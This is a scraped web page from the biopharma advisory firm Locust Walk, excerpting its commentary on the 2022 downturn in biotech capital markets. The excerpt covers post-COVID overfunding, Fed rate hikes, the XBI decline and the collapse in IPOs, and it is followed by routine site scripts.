statistics and trends showcasing what is happening in the global private and public capital markets and strategic partnering and M&A activity. We wanted to share some insights into the report and discuss key trends, opportunities and predictions for the industry in 2023. To download this report, please go to locustwalk.com and go to our “Insights” page. As always Locust Walk is happy to speak with you further if you have any questions about our views or if we can be helpful to guide your organization through the current market environment. It’s important to review recent history to provide context for the path ahead. The industry became victim of its own success Easy monetary policy with 0% and even negative interest rates in the US and major economies coupled with the success of COVID vaccine development and the intense focus on the biopharma industry to save the world led to a massive wave of biopharma fundraising and industry expansion Starting February 2021, a mere 2 months after the first COVID vaccine approval, the balloon started to deflate with the gradual decline in the XBI and gradual reduction in financings although still occurring at a frenetic pace. In retrospect it is fascinating that the public market was declining yet the volume remaining amazingly high for crossovers, IPOs, and follow-ons. During the 2020 and 2021 boom and from before COVID, way too many companies were created, too much private capital was invested and way too many companies went public leading to an explosion in number of publicly traded biotechs 2022 was a perfect storm of events occurring all at once leading to the first time in memory where macro political and macroeconomics took over control of the industry direction. Over these 12 months the continued aftershocks from COVID and the industry resetting because of too much company supply and too little capital availability created an accelerating negativity to the environment. The Fed hiked rates 4.25% through the course of 2022 in response to the fastest inflation in 40 years, which led to a risk off environment from investors 2022 the XBI fell 25% on the year and 48% since its February 19, 2021 high. IPO issuances stood at only 9 companies compared to 92 in 2021 Companies both public and private have been forced to prioritize their portfolios, focusing on their most advanced viable assets and unfortunately downsize their teams. A consequence of this contraction in pipelines and employment is greater capital efficiency and return on inve...
https://www.locustwalk.com/wp-content/uploads/2015/10/2_24_15_BusinessofHealthcare_5.m4a // // // //Use outerHeight() instead of height() if have padding var aboveHeight = $j('#header-bg-container').outerHeight(); //when scroll $j(window).scroll(function () { //if scrolled down more than the header's height if ($j(window).scrollTop() > aboveHeight) { // if yes, add "fixed" class to the // add padding top to the #content // (value is same as the height of the nav) $j('.sticky').addClass('fixed-menu').css('top', '0'); //.next().css('padding-top','88px'); // Add Drop Shadow to Menu // $j('#nav-bg-container').addClass('menu-shadow'); } else { // when scroll up or less than aboveHeight, // remove the "fixed" class, and the padding-top $j('.sticky').removeClass('fixed-menu').next().css('padding-top', '0'); //Remove the drop shadow $j('#nav-bg-container').removeClass('menu-shadow'); } }); }); // ]]>// 0) { ga('create', _gac, 'auto'); ga('send', 'pageview'); } // ]]> And click here for Wharton's Business Radio on Sirius XM to hear experts opine on the revolutionary changes such as the Affordable Care Act and other legislative and regulatory developments occurring in the healthcare industry.